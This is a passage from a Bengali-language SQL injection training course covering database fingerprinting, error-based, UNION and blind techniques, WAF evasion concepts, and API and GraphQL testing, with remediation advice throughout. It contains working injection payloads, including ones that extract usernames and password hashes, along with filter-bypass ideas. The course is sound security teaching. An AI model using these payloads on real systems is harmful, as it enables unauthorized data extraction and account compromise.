বেশিরভাগ DB-তে 1=1/1=2 একইভাবে কাজ করে, কিন্তু Oracle-এ standalone boolean expression (SELECT 1=1) সরাসরি সমর্থিত নয় — Oracle-এ boolean শুধু WHERE/CASE-এর ভেতরেই ব্যবহারযোগ্য, যা অন্যান্য DB থেকে আলাদা আচরণ।
Delay Function পার্থক্য
অধ্যায় ০৩ ও ০৫-এ বিস্তারিত সিনট্যাক্স দেওয়া আছে — মূল পয়েন্ট: MySQL-এ SLEEP(), PostgreSQL-এ pg_sleep(), MSSQL-এ WAITFOR DELAY (statement, function নয়), Oracle-এ DBMS_LOCK.SLEEP() (প্রায়ই execute privilege লাগে), SQLite-এ কোনো native delay function নেই — heavy recursive query দিয়ে কৃত্রিমভাবে দেরি তৈরি করতে হয়, যা কম নির্ভরযোগ্য।
UNION Compatibility
সব প্রধান DBMS UNION সমর্থন করে, কিন্তু Oracle-এ প্রতিটি SELECT-এ একটি টেবিল রেফারেন্স লাগে (তাই FROM dual), এবং column data type গুলোর মধ্যে implicit conversion-এর নিয়ম DB-ভেদে কিছুটা আলাদা হতে পারে (যেমন MSSQL প্রায়ই string-কে integer-এ রূপান্তরের চেষ্টা করে error দেয়, যা একটি fingerprinting সংকেতও হতে পারে)।
Version Identification Concepts
শুধু version string পাওয়াই যথেষ্ট না — version থেকে বোঝা যায় কোন ফিচার (যেমন নির্দিষ্ট function) উপলব্ধ কি না। পুরনো MySQL ভার্সনে information_schema না থাকতে পারে, যা পরবর্তী ধাপের কৌশল পরিবর্তন করে দেয়।
Database-Specific False Positives
- MSSQL-এ
+ব্যবহার করে string concatenation টেস্ট করতে গিয়ে numeric addition-এর সাথে গুলিয়ে ফেলা। - MySQL-এ
---এর পর স্পেস ভুলে বাদ দেওয়ায় কমেন্ট কাজ না করা — ভুলভাবে "injection নেই" সিদ্ধান্তে পৌঁছানো। - Oracle-এ
FROM dualছাড়াUNION SELECTব্যবহার করে error পাওয়াকে "vulnerability নেই" বলে ভুল বোঝা, যদিও আসল কারণ শুধু syntax ভুল।
অনুশীলন
একটি lab টার্গেটে error-based বা UNION-based কৌশল ব্যবহার করে উপরের টেবিল থেকে অন্তত তিনটি ভিন্ন fingerprinting query চালিয়ে backend DBMS শনাক্ত করুন।
সারসংক্ষেপ
Database fingerprinting ভুল হলে ভুল payload পাঠানো হয় এবং ভুল সিদ্ধান্তে পৌঁছানোর ঝুঁকি থাকে। Comment syntax, string concatenation, delay function ও UNION-এর নিয়ম প্রতিটি DBMS-এ আলাদা — তাই fingerprint নিশ্চিত হওয়ার পরই পরবর্তী exploitation কৌশল বেছে নেওয়া উচিত।
Knowledge-check
- MySQL-এ
--কমেন্ট ব্যবহারে কোন ছোট কিন্তু গুরুত্বপূর্ণ নিয়ম মনে রাখতে হবে? - Oracle-এ
UNION SELECT NULLকেন প্রায়ই error দেয়? - SQLite-এ time-based blind SQLi কেন তুলনামূলক কঠিন?
Error-Based SQLi — সম্প্রসারিত
অধ্যায় ০৩-এ error-based SQLi-এর ভিত্তি দেওয়া হয়েছে। এখানে আরও গভীরভাবে error interpretation ও suppression-পরবর্তী কৌশল আলোচনা করা হলো।
Syntax Error বনাম Type Error
দুই ধরনের error-ই SQLi-এর ইঙ্গিত দিতে পারে, কিন্তু তাদের উৎস আলাদা:
- Syntax error: query-এর গঠন নিজেই ভেঙে যাওয়া (যেমন un-closed quote)। এটি সরাসরি বোঝায় input অপরিবর্তিতভাবে query-তে বসছে।
- Type error: query সিনট্যাক্টিকভাবে সঠিক, কিন্তু একটি column-এর প্রত্যাশিত data type-এর সাথে input-এর type মেলেনি (যেমন একটি integer column-এ string বসানোর চেষ্টা)। এটি ইঙ্গিত দেয় যে input raw ভাবে একটি comparison/expression-এ ব্যবহৃত হচ্ছে — প্রায়ই "type juggling" কৌশলে exploit করা হয়।
' AND 1=CONVERT(int, (SELECT TOP 1 username FROM users))--
→ যদি username সংখ্যা না হয়, MSSQL conversion error ছোড়ে, এবং সেই
error message-এর মধ্যে মাঝে মাঝে প্রকৃত username মান দেখা যায়।Error Leakage বনাম Confirmed SQLi
শুধু একটি error message দেখা যাওয়া মানেই injection "confirmed" নয়। Confirm করার জন্য তিনটি শর্ত পূরণ হওয়া উচিত: (১) error message database engine-নির্দিষ্ট, (২) input পরিবর্তন করলে error ধারাবাহিকভাবে পুনরুৎপাদনযোগ্য, এবং (৩) error-এর বিষয়বস্তু input-এর সাথে যৌক্তিকভাবে সম্পর্কিত (যেমন ঠিক সেই quote/character-এর কাছে)।
Error Suppression হলে Testing Strategy
যদি application generic error page দেখায় (verbose error suppress করা), তাহলে error-based কৌশল সরাসরি কাজ করবে না। তখনকার কৌশল:
- HTTP status code-এ সূক্ষ্ম পার্থক্য আছে কি না দেখুন (যেমন ৫০০ বনাম ৪০০)।
- Response time-এ পার্থক্য আছে কি না দেখুন (database যদি query processing-এ বেশি সময় নেয়, suppress করা error-ও মাঝে মাঝে সময় নেয়)।
- Boolean-based বা time-based blind কৌশলে স্থানান্তরিত হোন (অধ্যায় ১১)।
Error Handling ও Remediation
Production-এ centralised exception handling middleware ব্যবহার করে সব database exception catch করে একটি generic message দেখানো উচিত, এবং বিস্তারিত stack trace শুধুমাত্র server-side log-এ (secret/PII বাদ দিয়ে) সংরক্ষণ করা উচিত। লগে অস্বাভাবিক frequency-তে SQL error এলে alert তৈরি করা একটি কার্যকর detection ব্যবস্থা।
সারসংক্ষেপ
Error message-এর ধরন (syntax বনাম type) ভিন্ন তথ্য দেয়, এবং শুধু একটি error দেখেই নিশ্চিত হওয়া যায় না — reproducibility ও logical সম্পর্ক যাচাই আবশ্যক। Error suppress করা থাকলে timing/boolean কৌশলে সরে যেতে হয়।
UNION-Based SQLi — সম্প্রসারিত
Displayable column শনাক্তকরণের গভীর কৌশল ও defensive implication।
Displayable Columns শনাক্ত করার গভীর কৌশল
অধ্যায় ০৩-এ NULL marker পদ্ধতি দেখানো হয়েছে। যদি response-এ কোনো কলামই সরাসরি দৃশ্যমান না হয় (যেমন শুধু একটি success/failure বার্তা দেখায়), তাহলে UNION-based সরাসরি কাজ করবে না — তখন boolean/time-based কৌশলে ফিরে যেতে হবে। যদি একাধিক কলাম দৃশ্যমান হয়, প্রতিটি position আলাদাভাবে marker দিয়ে ম্যাপ করুন যাতে পরে সঠিক position-এ লক্ষ্যবস্তু ডেটা বসানো যায়।
Data Type Compatibility — গভীর আলোচনা
যদি একটি কলাম integer প্রত্যাশা করে কিন্তু আপনি string বসান, তাহলে error আসবে — কিন্তু এই error নিজেই একটি উপযোগী সংকেত (বোঝায় সেই position integer-type)। কিছু DBMS (MySQL) implicit type conversion-এ শিথিল, আবার কিছু (PostgreSQL, MSSQL) কঠোর — একটি payload যা MySQL-এ নীরবে কাজ করে তা PostgreSQL-এ সরাসরি error দিতে পারে।
UNION SELECT NULL, CONCAT(username,0x3a,password_hash), NULL FROM users--যদি শুধুমাত্র একটি কলাম দৃশ্যমান হয়, একাধিক মান একসাথে concatenate করে (একটি আলাদা separator সহ, যেমন 0x3a যা কোলন :-এর hex) একই position-এ একাধিক তথ্য দেখানো সম্ভব।
Database-Specific Example সংক্ষেপ
Oracle-এ FROM dual আবশ্যক; MSSQL-এ data type mismatch প্রায়ই কঠোরভাবে ধরা পড়ে; MySQL তুলনামূলক নমনীয়। বিস্তারিত টেবিল অধ্যায় ০৮-এ।
Common Mistakes
- Column count সঠিকভাবে বের না করেই সরাসরি ডেটা বের করার চেষ্টা করা।
- একাধিক row থাকা sub-query ব্যবহার করে ফেলা, যেখানে single-value প্রত্যাশিত (ফলে "subquery returns more than one row" error)।
Defensive Implications
UNION-based attack ঠেকানোর মূল উপায় এখনও parameterized query — কারণ তাহলে UNION শব্দটি কখনোই SQL keyword হিসেবে parse হবে না, যতই ইনপুটে উপস্থিত থাকুক। এছাড়া database error-কে ইউজার থেকে আড়াল রাখা UNION-based reconnaissance-কে কঠিন করে তোলে।
সারসংক্ষেপ
UNION-based SQLi-এর কার্যকারিতা নির্ভর করে display হওয়া কলাম ও তাদের data type সঠিকভাবে ম্যাপ করার উপর। ভুল column count বা type mismatch থেকে আসা error-কেও তথ্যবহুল সংকেত হিসেবে ব্যবহার করা যায়।
Blind SQL Injection — সম্প্রসারিত
Boolean ও time-based কৌশলের গভীর তুলনা, conditional inference কাঠামো, এবং নির্ভরযোগ্য verification।
Boolean-Based বনাম Time-Based — কখন কোনটি
| পরিস্থিতি | পছন্দনীয় কৌশল |
|---|---|
| Response content-এ visible পার্থক্য আছে | Boolean-based (দ্রুত, নেটওয়ার্ক-নির্ভর নয়) |
| Response সম্পূর্ণ identical, কোনো visible channel নেই | Time-based (ধীর কিন্তু নির্ভরযোগ্য) |
| Rate limiting/WAF আছে | Boolean-based পছন্দনীয় (কম সন্দেহজনক পজিশনে কম request) |
Conditional Inference-এর কাঠামো
উভয় কৌশলেই মূল কাঠামো একই: একটি প্রশ্ন তৈরি করুন যার উত্তর শুধু true/false (যেমন "ডেটার প্রথম অক্ষর কি 'a'-এর চেয়ে বড়?"), এরপর binary-search পদ্ধতিতে ধাপে ধাপে উত্তর সংকুচিত করুন যতক্ষণ না সঠিক মান পাওয়া যায়। এই কাঠামোটিকে "oracle" (হ্যাঁ/না উত্তরদাতা) মডেল হিসেবে চিন্তা করা যায় — database প্রতিটি প্রশ্নের জন্য একটি বিট তথ্য প্রকাশ করে।
False Positives ও False Negatives — গভীরভাবে
- False positive: dynamic content (ভিজিটর কাউন্টার, টাইমস্ট্যাম্প), session-নির্ভর ডেটা, বা caching condition-independent পার্থক্য তৈরি করে যা ভুলভাবে injection বলে মনে হতে পারে।
- False negative: যদি application একই response cache করে রাখে (CDN বা server-side caching), তাহলে প্রকৃত condition পরিবর্তনের প্রভাব response-এ নাও দেখা যেতে পারে, ফলে vulnerability থাকা সত্ত্বেও miss হয়ে যেতে পারে।
Safe, Low-Impact Verification
Confirm করার জন্য ডেটাবেসের গঠন সম্পর্কে ন্যূনতম প্রশ্ন ব্যবহার করুন (যেমন database()-এর দৈর্ঘ্য) — পুরো ডেটা table বের করার চেষ্টা না করে। Lab-এর বাইরে বাস্তব প্রোগ্রামে, একটি single non-sensitive value (যেমন DB version) যথেষ্ট প্রমাণ — এটি অধ্যায় ১৬-এর নীতির সাথে সামঞ্জস্যপূর্ণ।
Mitigation
Parameterized query উভয় ধরনের blind SQLi-ই প্রতিরোধ করে, কারণ কোনো condition-ই আর user input-নির্ভর SQL syntax হিসেবে parse হবে না।
সারসংক্ষেপ
Boolean ও time-based blind উভয়ই একই "oracle" নীতির উপর ভিত্তি করে কাজ করে — পার্থক্য শুধু সংকেত চ্যানেলে (content বনাম timing)। সঠিক কৌশল বেছে নেওয়া নির্ভর করে application-এর আচরণ ও পরিবেশগত সীমাবদ্ধতার (rate limiting, caching) উপর।
Knowledge-check
- Type error কীভাবে ডেটা এক্সট্র্যাকশনে ব্যবহার করা যায়?
- Caching কীভাবে blind SQLi টেস্টিং-এ false negative তৈরি করতে পারে?
- "Oracle" মডেল বলতে blind SQLi-এর প্রসঙ্গে কী বোঝানো হয়েছে?
WAF ও Filter Bypass — Advanced Defensive Research
WAF, input filtering ও SQL parser-এর পার্থক্য — defensive গবেষণার দৃষ্টিকোণ থেকে।
এই অধ্যায়ের উদ্দেশ্য defensive security research — অর্থাৎ বোঝা যে কেন একটি WAF যথেষ্ট নয় এবং root-cause fix (parameterized query) কেন অপরিহার্য। এটি কোনো real-world WAF বাইপাস করে অননুমোদিত ডেটা বের করার নির্দেশিকা নয়। শুধুমাত্র নিজের তৈরি করা lab বা স্পষ্টভাবে অনুমোদিত পরিবেশে এই ধারণাগুলো প্র্যাকটিস করুন।
WAF কী এবং কীভাবে কাজ করে
Web Application Firewall (WAF) হলো একটি নিরাপত্তা স্তর যা HTTP request পরীক্ষা করে এবং পরিচিত আক্রমণ-প্যাটার্নের (signature) সাথে মিললে request ব্লক করে দেয় — যেমন request-এ UNION SELECT বা ' OR '1'='1-এর মতো টেক্সট থাকলে। WAF মূলত একটি pattern-matching স্তর, backend application বা database-এর প্রকৃত আচরণ সম্পর্কে এটির কোনো ধারণা নেই।
WAF Detection বনাম Backend Vulnerability Confirmation
একটি request WAF দ্বারা ব্লক হওয়া (যেমন ৪০৩ response) মানেই backend নিরাপদ তা প্রমাণ করে না — এটি শুধু বোঝায় যে request-টি WAF-এর signature-এর সাথে মিলেছে। বিপরীতভাবে, WAF bypass করে একটি request পাঠানো সফল হওয়াও মানেই backend vulnerable — এটিও আলাদাভাবে confirm করতে হবে (অধ্যায় ০৬-এর পদ্ধতিতে)।
False Positives ও False Negatives
WAF অতিরিক্ত কঠোর হলে স্বাভাবিক, নিরীহ ইনপুট (যেমন একজন ইউজারের নামে apostrophe, "O'Brien") ভুলভাবে ব্লক হতে পারে (false positive)। আবার WAF signature-ভিত্তিক হওয়ায় নতুন বা অস্বাভাবিক encoding ব্যবহার করা payload miss করে যেতে পারে (false negative)।
Encoding ও Normalization-এর ধারণা
URL ও Double Encoding
' → %27 → (double-encoded) %2527। যদি WAF একবার decode করে পরীক্ষা করে কিন্তু backend দুইবার decode করে, তাহলে একটি mismatch তৈরি হতে পারে — এটি parser differences-এর একটি উদাহরণ, exploitation নির্দেশিকা নয়।
Case Normalization
কিছু সাধারণ signature case-sensitive হতে পারে (UNION বনাম UniOn) — যা দেখায় কেন signature-ভিত্তিক ডিটেকশন নিজে থেকে যথেষ্ট না, root-cause fix (parameterization) কেন প্রয়োজন।
Whitespace Normalization
Standard স্পেসের বদলে tab/newline/comment ব্যবহার — এটি দেখায় কেন pattern-matching ভঙ্গুর (brittle) একটি প্রতিরক্ষা কৌশল।
Comments ও Parser Differences
বিভিন্ন database parser comment/whitespace-কে ভিন্নভাবে ট্রিট করতে পারে — WAF ও backend database যদি আলাদা parser ব্যবহার করে, তাদের "বোঝা"-র মধ্যে পার্থক্য (parser differential) তৈরি হতে পারে।
Unicode ও Character Normalization-এর ঝুঁকি
কিছু Unicode ক্যারেক্টার normalization-এর পর সাধারণ ASCII ক্যারেক্টারে রূপান্তরিত হতে পারে (যেমন fullwidth quote)। যদি WAF normalization-এর আগে পরীক্ষা করে কিন্তু backend normalization-এর পরে ব্যবহার করে (বা উল্টো), তাহলে একটি গ্যাপ তৈরি হয় — এটি কেন ঘটে তা বোঝা defensive দিক থেকে গুরুত্বপূর্ণ, যাতে ডেভেলপার এবং WAF নিয়ম একই normalization logic ব্যবহার করে তা নিশ্চিত করা যায়।
HTTP Parameter Pollution-এর ধারণা
একই নামের parameter একাধিকবার পাঠানো হলে (?id=1&id=2), বিভিন্ন সার্ভার টেকনোলজি ভিন্নভাবে আচরণ করে — কেউ প্রথমটি নেয়, কেউ শেষেরটি, কেউ উভয়কে একত্র করে। যদি WAF একটি মান পরীক্ষা করে কিন্তু backend অন্যটি ব্যবহার করে, তাহলে একটি গ্যাপ তৈরি হতে পারে।
JSON ও Content-Type Parsing Differences
যদি WAF শুধু ফর্ম-এনকোডেড বডি পরীক্ষা করতে কনফিগার করা থাকে কিন্তু application JSON বডিও গ্রহণ করে, তাহলে JSON payload WAF-এর নজর এড়িয়ে যেতে পারে — এটি দেখায় WAF কনফিগারেশন কতটা content-type-aware হওয়া প্রয়োজন।
Allowlist ও Denylist-এর সীমাবদ্ধতা
Denylist (নিষিদ্ধ শব্দের তালিকা) সবসময় অসম্পূর্ণ — নতুন encoding/syntax trick সবসময় সম্ভব। Allowlist (শুধু অনুমোদিত প্যাটার্নের তালিকা) তুলনামূলক শক্তিশালী কিন্তু ফ্রি-টেক্সট ফিল্ডে (যেমন সার্চ বক্স) প্রয়োগ করা কঠিন। এই কারণেই WAF কখনোই input validation-এর একমাত্র স্তর হওয়া উচিত না।
WAF-এর সামনে ও পেছনে Parser Behavior কেন আলাদা হতে পারে
WAF নিজের একটি সরলীকৃত SQL parser/regex ব্যবহার করে একটি request "SQL-এর মতো দেখতে" কি না বিচার করে, কিন্তু প্রকৃত database engine-এর নিজস্ব, অনেক বেশি জটিল ও সম্পূর্ণ parser থাকে। এই দুই parser-এর আচরণে পার্থক্যই (parser differential) root cause — এবং এই কারণেই prepared statements-কে primary defense হিসেবে গণ্য করা হয়, WAF-কে নয়।
Authorized Lab-এ Controlled Bypass Experiment
নিজের তৈরি করা একটি সাধারণ regex-ভিত্তিক filter (উদাহরণস্বরূপ, যা কেসের তফাত ছাড়া union select ব্লক করে) এবং একটি backend যা case-insensitive SQL চালায়, এই দুটি নিয়ে একটি ছোট lab তৈরি করে পরীক্ষা করুন কীভাবে case variation, comment insertion, বা encoding এই ধরনের সরল filter-কে বিভ্রান্ত করতে পারে — উদ্দেশ্য filter-এর দুর্বলতা বোঝা, production সিস্টেম আক্রমণ করা নয়।
WAF Log Analysis
WAF log পর্যালোচনা করে বোঝা যায় কোন ধরনের payload বেশি চেষ্টা করা হচ্ছে, কোন endpoint সবচেয়ে বেশি টার্গেট হচ্ছে, এবং কোন নিয়ম ঘন ঘন trigger হচ্ছে (যা false positive rate নির্দেশ করতে পারে) — এটি defensive টিমের জন্য গুরুত্বপূর্ণ ফিডব্যাক লুপ।
Defensive Bypass Testing Checklist
- ☐ WAF নিয়ম encoding-independent (normalize করার পর পরীক্ষা করে) কি না?
- ☐ WAF ও backend একই content-type গুলো পরীক্ষা করে কি না (JSON সহ)?
- ☐ HTTP parameter pollution-এর ক্ষেত্রে WAF ও backend একই মান ব্যবহার করে কি না?
- ☐ WAF ব্যর্থ হলেও backend-এ parameterized query দিয়ে root-cause সুরক্ষা আছে কি না?
WAF Bypass ঠেকানোর সঠিক পদ্ধতি
সবচেয়ে গুরুত্বপূর্ণ নীতি: WAF কখনোই SQLi-এর primary defense হওয়া উচিত না। এটি একটি অতিরিক্ত detection/alerting স্তর হিসেবে কার্যকর (defense-in-depth), কিন্তু প্রকৃত সুরক্ষা আসে parameterized query ও secure coding অভ্যাস থেকে (অধ্যায় ১৭)। WAF নিয়মিত আপডেট করা, একাধিক normalization layer-এ সামঞ্জস্যপূর্ণ আচরণ নিশ্চিত করা, এবং backend validation-এর সাথে coordinate করা ভালো অভ্যাস।
সারসংক্ষেপ
WAF একটি pattern-matching স্তর, root-cause fix নয়। Encoding, normalization, parameter pollution ও content-type পার্থক্য থেকে WAF ও backend-এর মধ্যে "parser differential" তৈরি হতে পারে — এই ধারণা বোঝা গুরুত্বপূর্ণ যাতে ডেভেলপার ও সিকিউরিটি টিম প্রকৃত root-cause (parameterized query)-কে অগ্রাধিকার দেয়, WAF-কে চূড়ান্ত সমাধান না ভেবে।
Knowledge-check
- কেন একটি request WAF-এ ব্লক হওয়া মানেই backend নিরাপদ নয়?
- Denylist-ভিত্তিক WAF নিয়মের মূল সীমাবদ্ধতা কী?
- Parser differential ধারণাটি কেন গুরুত্বপূর্ণ?
Authentication ও Business Logic
লগইন, পাসওয়ার্ড রিসেট, কার্ট, ও multi-step workflow-তে SQLi-এর সম্পর্ক, এবং এটিকে সাধারণ business-logic bug থেকে আলাদা করা।
Login Bypass-এর Underlying SQL Concepts
অধ্যায় ০২-এ দেখানো ' OR '1'='1 প্যাটার্নটি login bypass-এর একটি ক্লাসিক (কিন্তু সরলীকৃত) উদাহরণ। বাস্তব অ্যাপ্লিকেশনে password hashing ব্যবহৃত হলে এই নির্দিষ্ট আক্রমণ সরাসরি কাজ নাও করতে পারে — নিচে ব্যাখ্যা করা হলো কেন।
Password Hashing কেন SQLi থেকে আলাদা বিষয়
যদি backend query WHERE username = ? AND password_hash = ? (parameterized) ব্যবহার করে এবং password যাচাইয়ের আগে hash করে, তাহলে এমনকি vulnerable string-concatenation query হলেও, attacker-এর ' OR '1'='1 প্যাটার্ন password ফিল্ডের hash comparison-কে "bypass" করতে পারে যদি পুরো WHERE ক্লজ true হয়ে যায় — কিন্তু এটি password hash "ভাঙা" নয়, বরং পুরো query logic-কে override করা। Hashing নিজে থেকে SQLi থেকে রক্ষা করে না; parameterization করে।
Authentication Query ও Authorization Checks
অনেক অ্যাপ্লিকেশনে authentication (পরিচয় যাচাই) এবং authorization (role/permission যাচাই) আলাদা query-তে হয়। যদি authentication query injectable হয়, তাহলে attacker username/password যাচাই bypass করতে পারে, কিন্তু role এখনো database-এর আসল মান থেকে আসতে পারে — ফলে bypass সফল হলেও attacker "admin" role নাও পেতে পারে, যদি না role-নির্ধারণ query-ও একইভাবে প্রভাবিত হয়।
Role-Based Access Control-এর সঙ্গে SQLi-এর সম্পর্ক
যদি একটি UNION-based SQLi দিয়ে attacker role কলামের মান নিজের ইচ্ছামতো response-এ "বসাতে" পারে (যেমন একটি profile page যা session থেকে না, সরাসরি query থেকে role দেখায়), তাত্ত্বিকভাবে এটি privilege escalation-এর একটি পথ খুলে দিতে পারে — যদিও বাস্তব exploitation নির্ভর করে application ঠিক কোথায়, কীভাবে সেই role ব্যবহার করছে তার উপর।
Password Reset Workflow
পাসওয়ার্ড রিসেট ফিচারে সাধারণত email/username দিয়ে একটি ইউজার lookup query চলে এবং একটি token generate/store হয়। যদি email ফিল্ড injectable হয়, তাহলে token generation লজিক bypass নাও হতে পারে, কিন্তু lookup query দিয়ে অন্য ইউজারের তথ্য ফাঁস হতে পারে (যেমন UNION-based দিয়ে)।
OTP ও Account Recovery
OTP (One-Time Password) যাচাইয়ের query-ও (WHERE user_id = ? AND otp_code = ?) একইভাবে vulnerable হতে পারে যদি parameterized না হয় — যদিও OTP-এর স্বল্প মেয়াদ (expiry) exploitation window সীমিত করে।
Shopping Cart ও Order Data
Cart-এ থাকা product_id, quantity সাধারণত numeric context — কিন্তু "apply coupon" জাতীয় ফিচারে string input (coupon_code) ব্যবহৃত হয়, যা একটি সম্ভাব্য injection point।
Price ও Quantity Validation — Business Logic বনাম SQLi
যদি একজন attacker quantity ফিল্ডে -1 দিয়ে মোট মূল্য ঋণাত্মক করার চেষ্টা করে, এটি সাধারণত একটি business-logic bug (input validation-এর ঘাটতি), SQL injection নয় — কারণ এখানে SQL query-এর গঠন পরিবর্তিত হচ্ছে না, শুধু একটি অবৈধ কিন্তু সিনট্যাক্টিকভাবে সঠিক মান গ্রহণ করা হচ্ছে।
Multi-Step Workflow ও Second-Order SQLi
একটি checkout প্রক্রিয়ায় ধাপ ১-এ দেওয়া ডেটা (যেমন shipping address-এর একটি ফ্রি-টেক্সট নোট) যদি সংরক্ষিত হয় এবং ধাপ ৩-এর invoice-generation query-তে পরে ব্যবহৃত হয়, তাহলে এটি second-order SQLi-এর সম্ভাব্য ক্ষেত্র। এই ধরনের workflow টেস্ট করার সময় প্রতিটি ধাপে ডেটা কোথায় "পুনরায় ব্যবহৃত" হচ্ছে তা ম্যাপ করা জরুরি।
Database Query Vulnerability বনাম সাধারণ Business Logic Bug — কীভাবে আলাদা করবেন
| প্রশ্ন | SQLi-এর দিকে ইঙ্গিত | Business logic bug-এর দিকে ইঙ্গিত |
|---|---|---|
| Input-এ quote/SQL metacharacter পাঠালে আচরণ বদলায়? | হ্যাঁ | না (শুধু range/type validation প্রভাবিত হয়) |
| Error message SQL syntax উল্লেখ করে? | হ্যাঁ | না |
| সমস্যাটি শুধু অস্বাভাবিক কিন্তু বৈধ-ফরম্যাটের মান দিয়ে ঘটে (যেমন ঋণাত্মক সংখ্যা)? | না | হ্যাঁ |
অনুশীলন
একটি authorized lab checkout ফ্লোতে, প্রতিটি ধাপে কোন ডেটা সংরক্ষিত হচ্ছে এবং পরবর্তী কোন ধাপে তা পুনরায় ব্যবহৃত হতে পারে তার একটি ম্যাপ তৈরি করুন, এবং প্রতিটি পয়েন্টে second-order risk আছে কি না মূল্যায়ন করুন।
সারসংক্ষেপ
Authentication, password reset, cart, ও multi-step workflow-এর প্রতিটিই আলাদা query তৈরি করে, এবং প্রতিটিতেই আলাদাভাবে injectability যাচাই করা দরকার। SQLi ও সাধারণ business-logic bug-এর মধ্যে পার্থক্য করার মূল চাবিকাঠি হলো — আচরণ পরিবর্তনের কারণ কি SQL syntax, নাকি শুধু মানের সীমা/বৈধতা।
Knowledge-check
- Password hashing কেন SQLi-কে পুরোপুরি ঠেকায় না?
- কার্টে quantity=-1 পাঠানো কেন সাধারণত SQLi নয়?
- Second-order SQLi শনাক্ত করতে multi-step workflow ম্যাপ করা কেন জরুরি?
API SQL Injection
REST ও GraphQL API-তে SQLi টেস্টিং — JSON body, query/path parameter, pagination, ও authorization।
API Request ও Response Fundamentals
একটি API endpoint সাধারণত নির্দিষ্ট HTTP method (GET/POST/PUT/DELETE), একটি path, এবং JSON/XML বডি ব্যবহার করে। SQLi-এর দৃষ্টিকোণ থেকে, যেকোনো মান যা backend-এ একটি database query-তে পৌঁছায় তা সম্ভাব্য ইনজেকশন পয়েন্ট — এটি path parameter, query string, বা body — যেকোনো জায়গায় হতে পারে।
REST API-তে Parameter Testing
GET /api/v1/users/42 → path parameter: 42
GET /api/v1/orders?status=shipped → query parameter: statusPath parameter-এ quote পাঠাতে হলে URL-encode করতে হবে (/api/v1/users/42%27), কারণ কাঁচা quote URL path-এ সমস্যা তৈরি করতে পারে ভিন্ন কারণে (routing error)।
JSON Body Testing
POST /api/v1/search
Content-Type: application/json
{"query": "laptop", "minPrice": 100, "maxPrice": 2000}প্রতিটি key আলাদাভাবে পরীক্ষা করুন। সংখ্যা-নির্ভর field (minPrice) numeric context, string field (query) string context হতে পারে — অধ্যায় ০২-এর context আলোচনা এখানেও প্রযোজ্য।
Sorting/Filtering Parameter ও Pagination/Search Endpoint
API-তে প্রায়ই ?sort=price&limit=20&offset=0-এর মতো parameter থাকে — এগুলো অধ্যায় ০৪-এ আলোচিত ঝুঁকিপূর্ণ ক্ষেত্রগুলোর API-সংস্করণ।
Authentication Token বনাম SQL Query Input
একটি API token (JWT/Bearer token) সাধারণত সরাসরি SQL query-তে ব্যবহৃত হয় না — এটি cryptographically যাচাই হয়। কিন্তু token-এর ভেতরের decoded claim (যেমন user_id) যদি backend পরবর্তী কোনো raw query-তে ব্যবহার করে, তাহলে সেটিও একটি ইনজেকশন পয়েন্ট হতে পারে — যদিও token নিজে পরিবর্তন করা (স্বাক্ষর ভাঙা ছাড়া) সাধারণত সম্ভব না।
API Error Handling
অনেক API framework ডিফল্টভাবে JSON আকারে structured error ফেরত দেয় (যেমন {"error": "Internal Server Error"}), যা ঐতিহ্যবাহী HTML error page-এর চেয়ে কম তথ্য প্রকাশ করে — ফলে error-based SQLi detection তুলনামূলক কঠিন হতে পারে, এবং blind কৌশলের উপর বেশি নির্ভর করতে হতে পারে।
Mass Assignment ও SQLi-এর পার্থক্য
Mass assignment তখন ঘটে যখন একটি API এন্ডপয়েন্ট request body-এর সব ফিল্ড (এমনকি যেগুলো ইউজারের পরিবর্তন করার কথা না, যেমন role: "admin") সরাসরি database object-এ map করে দেয় — এটি একটি authorization/data-binding সমস্যা, SQL syntax-ভিত্তিক সমস্যা নয়। দুটি ভিন্ন vulnerability হলেও উভয়ই "অতিরিক্ত বিশ্বাস করা input"-এর একই মূল সমস্যা থেকে আসে।
GraphQL Resolver-এর Database Interaction
query {
products(filter: { category: "electronics' OR '1'='1" }) {
id
name
}
}GraphQL নিজে একটি query language হলেও এটি SQL নয় — GraphQL layer-এর resolver ফাংশন যদি internally string concatenation দিয়ে SQL বানায়, তাহলে ঠিক একই root cause-এ SQLi ঘটতে পারে। GraphQL schema-এর কড়াকড়ি (strict typing) কিছু ক্ষেত্রে (যেমন Int টাইপ আর্গুমেন্ট) injection কঠিন করে তোলে, কিন্তু free-text String আর্গুমেন্টে ঝুঁকি থেকেই যায়।
API Authorization ও Scope
API টেস্ট করার সময় নিশ্চিত হোন যে আপনার token/API key-এর scope টেস্টিং-এর জন্য অনুমোদিত — অনেক bug bounty প্রোগ্রাম নির্দিষ্ট API scope বা rate limit নির্ধারণ করে দেয়।
Safe API Testing Workflow
- API ডকুমেন্টেশন (OpenAPI/Swagger, GraphQL schema) পর্যালোচনা করে সব endpoint ও parameter তালিকাভুক্ত করুন।
- Burp দিয়ে প্রতিটি request ক্যাপচার করুন (GraphQL-এর জন্য Burp-এর GraphQL-aware ফিচার ব্যবহার করা যায়)।
- অধ্যায় ০৬-এর methodology অনুসরণ করুন — baseline, controlled change, তুলনা।
Request: GET /api/v1/orders?status=shipped' HTTP/1.1
Response: HTTP/1.1 500 Internal Server Error
{"error": "invalid input syntax"}
→ structured error, কিন্তু তাও database engine-এর সংকেত দিতে পারে।সারসংক্ষেপ
API-তে SQLi-এর মূলনীতি একই, কিন্তু JSON/GraphQL-এর কাঠামো, structured error handling, এবং authentication token-এর উপস্থিতি টেস্টিং পদ্ধতিতে কিছু বিশেষ বিবেচনা যোগ করে। Mass assignment একটি ভিন্ন কিন্তু সম্পর্কিত ঝুঁকি, যা SQLi থেকে আলাদা করে বোঝা উচিত।
Knowledge-check
- GraphQL-এর strict typing কীভাবে কিছু ইনজেকশন ঝুঁকি কমায়?
- Mass assignment ও SQLi-এর মূল পার্থক্য কী?
- API-তে structured JSON error কেন error-based SQLi detection কঠিন করে তুলতে পারে?
SQLi Automation ও Tooling
Manual বনাম automated scanning, SQLMap-এর ধারণাগত পরিচিতি, এবং tool output-কে নির্ভরযোগ্য প্রমাণে রূপান্তর করা।
Automation examples কেবলমাত্র নিজের local lab, training environment, অথবা স্পষ্টভাবে অনুমোদিত target-এর জন্য ব্যবহার করুন। Automated টুল দ্রুত বহু request পাঠায়, যা অননুমোদিত সিস্টেমে চালালে আইনি ঝুঁকির পাশাপাশি সার্ভিস বিঘ্নিত করারও ঝুঁকি তৈরি করে।
Manual Testing কখন বেশি কার্যকর
